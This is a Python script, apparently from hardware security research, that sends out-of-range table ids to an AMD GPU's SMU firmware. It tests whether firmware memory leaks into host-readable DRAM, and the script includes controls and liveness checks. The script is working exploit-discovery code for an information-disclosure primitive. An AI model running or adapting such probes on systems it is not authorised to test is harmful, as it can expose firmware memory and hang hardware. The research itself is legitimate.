1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
|
#!/usr/bin/env python3
"""Probe SMU (MP1) PPSMC_MSG_TransferTableSmu2Dram for an unbounded table_id.
Hypothesis: `table_id` is a raw message argument. The firmware-side enum in
smu13_driver_if_v13_0_0.h ends at TABLE_COUNT = 13, so ids 0..12 are valid. If the
firmware does not range-check the id, it will index its table-descriptor array out of
bounds and DMA whatever that yields into the driver DRAM buffer -- which the host owns
and can read. That is an SMU-internal-memory disclosure primitive.
Controls (required before believing anything):
positive: TABLE_SMU_METRICS (5) must return OK and produce non-zero bytes, proving
the transfer path works and that we are reading the right buffer.
negative: a nonsense id (0xdead) must be handled; if it returns OK with data, the
bound is missing for arbitrary ids, not just adjacent ones.
Read direction only. TransferTableDram2Smu (the write direction) is deliberately NOT
exercised here: an OOB write into SMU memory risks wedging the SMU, which per
psp_out/CONSTRAINTS.md needs a cold ATX cycle to recover.
Response codes (smu_cmn.h): 1 = OK, 0xFF = FAIL, 0xFE = UNKNOWN_CMD,
0xFD = BAD_PREREQ, 0xFC = BUSY_OTHER, 0 = no response yet (timeout).
usage: PYTHONPATH=/root/psp/tinygrad smu_tableprobe.py [max_id]
"""
import hashlib
import sys
import time
from tinygrad import Device
MSG_TransferTableSmu2Dram = 0x12
MSG_GetSmuVersion = 0x2
TABLE_COUNT = 13
TABLE_NAMES = {0: 'PPTABLE', 1: 'COMBO_PPTABLE', 2: 'WATERMARKS', 3: 'AVFS_PSM_DEBUG',
4: 'PMSTATUSLOG', 5: 'SMU_METRICS', 6: 'DRIVER_SMU_CONFIG',
7: 'ACTIVITY_MONITOR_COEFF', 8: 'OVERDRIVE', 9: 'I2C_COMMANDS',
10: 'DRIVER_INFO', 11: 'ECCINFO', 12: 'WIFIBAND'}
RESP = {0: 'TIMEOUT', 1: 'OK', 0xFF: 'FAIL', 0xFE: 'UNKNOWN_CMD', 0xFD: 'BAD_PREREQ',
0xFC: 'BUSY_OTHER'}
BUF_LEN = 0x1000
class Probe:
def __init__(self):
self.adev = Device["AMD"].iface.dev_impl
self.smu = self.adev.smu
self.buf_paddr = self.smu.driver_table_paddr
def raw_msg(self, msg, param, timeout_ms=2000):
"""Send a message and return (response_code, read_back_arg) without asserting OK."""
self.adev.mmMP1_SMN_C2PMSG_90.write(0)
self.adev.mmMP1_SMN_C2PMSG_82.write(param)
self.adev.mmMP1_SMN_C2PMSG_66.write(msg)
deadline = time.time() + timeout_ms / 1000.0
resp = 0
while time.time() < deadline:
resp = self.adev.mmMP1_SMN_C2PMSG_90.read()
if resp != 0:
break
time.sleep(0.001)
return resp, self.adev.mmMP1_SMN_C2PMSG_82.read()
def zero_buf(self):
# VRAM over the USB4 bridge needs 4-byte aligned offset AND size (pcie_mem_read
# asserts otherwise) -- BUF_LEN is 0x1000 so that holds.
self.adev.vram.view(self.buf_paddr, BUF_LEN)[:] = bytes(BUF_LEN)
def read_buf(self):
return bytes(self.adev.vram.view(self.buf_paddr, BUF_LEN)[:])
def alive(self):
resp, _ = self.raw_msg(MSG_GetSmuVersion, 0, timeout_ms=500)
return resp == 1
def try_table(self, tid):
self.zero_buf()
before = self.read_buf()
assert before == bytes(BUF_LEN), "buffer did not zero -- host write to VRAM failed"
resp, arg = self.raw_msg(MSG_TransferTableSmu2Dram, tid)
after = self.read_buf()
nz = sum(1 for b in after if b)
return {'id': tid, 'resp': resp, 'resp_s': RESP.get(resp, hex(resp)), 'arg': arg,
'nonzero': nz, 'sha': hashlib.sha256(after).hexdigest()[:16],
'head': after[:32].hex()}
def main():
max_id = int(sys.argv[1], 0) if len(sys.argv) > 1 else 32
p = Probe()
print("driver table buffer paddr=0x%x mc=0x%x len=0x%x" % (
p.buf_paddr, p.adev.paddr2mc(p.buf_paddr), BUF_LEN))
print("smu alive (GetSmuVersion): %s\n" % p.alive())
print("%-5s %-22s %-11s %-8s %-8s %s" % ("id", "name", "resp", "nonzero", "sha16", "head"))
rows = []
for tid in list(range(max_id)) + [0x100, 0x1000, 0xdead, 0xffff]:
r = p.try_table(tid)
rows.append(r)
print("%-5d %-22s %-11s %-8d %-8s %s" % (
tid, TABLE_NAMES.get(tid, '' if tid < TABLE_COUNT else '<out of range>'),
r['resp_s'], r['nonzero'], r['sha'], r['head'][:32]))
if not p.alive():
print("\n!! SMU stopped responding after id %d -- aborting. Recover with "
"work/atx_power.py cycle 25" % tid)
break
ok_inrange = [r for r in rows if r['id'] < TABLE_COUNT and r['resp'] == 1 and r['nonzero']]
ok_oob = [r for r in rows if r['id'] >= TABLE_COUNT and r['resp'] == 1]
oob_data = [r for r in ok_oob if r['nonzero']]
print("\n--- controls")
print(" positive (in-range ids returning OK with data): %d %s" % (
len(ok_inrange), [r['id'] for r in ok_inrange]))
print(" out-of-range ids accepted (resp OK): %d %s" % (
len(ok_oob), [r['id'] for r in ok_oob]))
print(" out-of-range ids that WROTE data to host DRAM: %d %s" % (
len(oob_data), [r['id'] for r in oob_data]))
if not ok_inrange:
print("\nINCONCLUSIVE: positive control failed, so a negative result means nothing.")
elif oob_data:
uniq = {r['sha'] for r in oob_data}
print("\nPRIMITIVE: table_id is NOT bounded; %d out-of-range ids transferred data "
"(%d distinct contents) into host-readable DRAM." % (len(oob_data), len(uniq)))
else:
print("\nNEGATIVE: every out-of-range id was rejected or produced no data; "
"table_id appears bounded.")
print("\nsmu alive at end: %s" % p.alive())
if __name__ == '__main__':
main()
|